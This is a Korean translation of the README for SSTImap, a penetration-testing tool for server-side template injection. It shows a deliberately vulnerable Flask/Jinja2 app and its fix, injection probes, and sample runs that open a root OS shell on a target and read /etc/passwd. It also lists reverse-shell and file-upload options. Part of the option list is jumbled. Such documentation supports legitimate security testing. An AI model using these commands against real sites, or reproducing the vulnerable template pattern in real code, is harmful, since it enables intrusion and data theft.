vladko312/sstimap대화형 인터페이스를 갖춘 자동 SSTI 탐지 도구
이 프로젝트는 Tplmap을 기반으로 합니다.
SSTImap은 웹사이트의 코드 인젝션(Code Injection) 및 서버 사이드 템플릿 인젝션(Server-Side Template Injection) 취약점을 확인하고 이를 악용하여 운영 체제 자체에 접근할 수 있게 해주는 침투 테스트 소프트웨어입니다.
이 도구는 SSTI 탐지 및 악용을 위한 대화형 침투 테스트 도구로 사용되도록 개발되었으며, 더 고급 악용이 가능합니다. SSTImap용 추가 페이로드는 여기에서 찾을 수 있습니다.
페이로드와 기법은 다음에서 비롯되었습니다:
이 도구는 일부 코드 컨텍스트 이스케이프 및 블라인드 인젝션 시나리오를 악용할 수 있습니다. 또한 Java, JavaScript, PHP, Python, Ruby 및 일반적인 비샌드박스 템플릿 엔진에서 eval() 유사 코드 인젝션을 지원합니다.
이 소프트웨어는 Tplmap의 코드를 기반으로 하지만, 하위 호환성은 제공되지 않습니다.
-i)--generic 사용Eval_generic 모듈을 사용한 일반 평가 템플릿 인젝션 탐지-x) 또는 단일 명령(-X) 실행-h를 확인하세요.다음은 Python에서 [Flask][6] 프레임워크와 [Jinja2][7] 템플릿 엔진을 사용하여 작성된 간단한 웹사이트의 예입니다. 사용자가 제공한 변수 name을 렌더링 전에 템플릿 문자열에 연결하므로 안전하지 않은 방식으로 통합합니다.
from flask import Flask, request, render_template_string
import os
app = Flask(__name__)
@app.route("/page")
def page():
name = request.args.get('name', 'World')
# SSTI VULNERABILITY:
template = f"Hello, {name}!<br>\n" \
"OS type: {{os}}"
return render_template_string(template, os=os.name)
if __name__ == "__main__":
app.run(host='0.0.0.0', port=80)
이러한 템플릿 사용 방식은 XSS 취약점을 만들 뿐만 아니라, 공격자가 서버에서 실행될 템플릿 코드를 주입할 수 있게 하여 SSTI로 이어집니다.
$ curl -g 'https://www.target.com/page?name=John'
Hello John!<br>
OS type: posix
$ curl -g 'https://www.target.com/page?name={{7*7}}'
Hello 49!<br>
OS type: posix
사용자 제공 입력은 렌더링 컨텍스트를 통해 안전한 방식으로 도입되어야 합니다:
from flask import Flask, request, render_template_string
import os
app = Flask(__name__)
@app.route("/page")
def page():
name = request.args.get('name', 'World')
template = "Hello, {{name}}!<br>\n" \
"OS type: {{os}}"
return render_template_string(template, name=name, os=os.name)
if __name__ == "__main__":
app.run(host='0.0.0.0', port=80)
사전 결정 모드의 SSTImap은 Tplmap과 매우 유사합니다. 다양한 템플릿에서 SSTI 취약점을 탐지하고 악용할 수 있습니다.
악용 후, SSTImap은 코드 평가, OS 명령 실행 및 파일 시스템 조작에 대한 접근을 제공할 수 있습니다.
URL을 확인하려면 -u 인수를 사용할 수 있습니다:
$ ./sstimap.py -u https://example.com/page?name=John
╔══════╦══════╦═══════╗ ▀█▀
║ ╔════╣ ╔════╩══╗ ╔══╝═╗▀╔═
║ ╚════╣ ╚════╗ ║ ║ ║{║ _ __ ___ __ _ _ __
╚════╗ ╠════╗ ║ ║ ║ ║*║ | '_ ` _ \ / _` | '_ \
╔════╝ ╠════╝ ║ ║ ║ ║}║ | | | | | | (_| | |_) |
╚══════╩══════╝ ╚═╝ ╚╦╝ |_| |_| |_|\__,_| .__/
│ | |
|_|
[*] Version: 1.4.0
[*] Author: @vladko312
[*] Based on Tplmap
[!] LEGAL DISCLAIMER: Usage of SSTImap for attacking targets without prior mutual consent is illegal.
It is the end user's responsibility to obey all applicable local, state and federal laws.
Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] Testing if GET parameter 'name' is injectable
[*] Smarty plugin is testing rendering with tag '*'
...
[*] Jinja2 plugin is testing rendering with tag '{{*}}'
[+] Jinja2 plugin has confirmed injection with tag '{{*}}'
[+] SSTImap identified the following injection point:
GET parameter: name
Engine: Jinja2
Injection: {{*}}
Context: text
OS: posix-linux
Technique: render
Capabilities:
Shell command execution: ok
Bind and reverse shell: ok
File write: ok
File read: ok
Code evaluation: ok, python code
[+] Rerun SSTImap providing one of the following options:
--os-shell Prompt for an interactive operating system shell
--os-cmd Execute an operating system command.
--eval-shell Prompt for an interactive shell on the template engine base language.
--eval-cmd Evaluate code in the template engine base language.
--tpl-shell Prompt for an interactive shell on the template engine.
--tpl-cmd Inject code in the template engine.
--bind-shell PORT Connect to a shell bind to a target port
--reverse-shell HOST PORT Send a shell back to the attacker's port
--upload LOCAL REMOTE Upload files to the server
--download REMOTE LOCAL Download remote files
--os-shell 옵션을 사용하여 대상에서 의사 터미널을 실행합니다.
$ ./sstimap.py -u https://example.com/page?name=John --os-shell
╔══════╦══════╦═══════╗ ▀█▀
║ ╔════╣ ╔════╩══╗ ╔══╝═╗▀╔═
║ ╚════╣ ╚════╗ ║ ║ ║{║ _ __ ___ __ _ _ __
╚════╗ ╠════╗ ║ ║ ║ ║*║ | '_ ` _ \ / _` | '_ \
╔════╝ ╠════╝ ║ ║ ║ ║}║ | | | | | | (_| | |_) |
╚══════╩══════╝ ╚═╝ ╚╦╝ |_| |_| |_|\__,_| .__/
│ | |
|_|
[*] Version: 1.4.0
[*] Author: @vladko312
[*] Based on Tplmap
[!] LEGAL DISCLAIMER: Usage of SSTImap for attacking targets without prior mutual consent is illegal.
It is the end user's responsibility to obey all applicable local, state and federal laws.
Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] Loaded plugins by categories: languages: 6; generic: 5; java: 4; javascript: 7; php: 3; python: 5; ruby: 2
[*] Loaded request body types by categories: auto: 1; http: 1; object: 2; raw: 3
[*] Testing if GET parameter 'name' is injectable
[*] Smarty plugin is testing rendering with tag '*'
...
[*] Jinja2 plugin is testing rendering with tag '{{*}}'
[+] Jinja2 plugin has confirmed injection with tag '{{*}}'
[+] SSTImap identified the following injection point:
GET parameter: name
Engine: Jinja2
Injection: {{*}}
Context: text
OS: posix-linux
Technique: render
Capabilities:
Shell command execution: ok
Bind and reverse shell: ok
File write: ok
File read: ok
Code evaluation: ok, python code
[+] Run commands on the operating system.
posix-linux $ whoami
root
posix-linux $ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
전체 옵션 목록을 보려면 --help 인수를 사용하세요.
대화형 모드에서는 명령을 사용하여 SSTImap과 상호 작용합니다. 대화형 모드로 들어가려면 -i 인수를 사용할 수 있습니다. 악용 페이로드와 관련된 인수를 제외한 모든 다른 인수는 설정의 초기 값으로 사용됩니다.
일부 명령은 테스트 실행 간에 설정을 변경하는 데 사용됩니다. 테스트를 실행하려면 초기 -u 인수 또는 url 명령을 통해 대상 URL을 제공해야 합니다. 그런 다음 run 명령을 사용하여 URL에서 SSTI를 확인할 수 있습니다.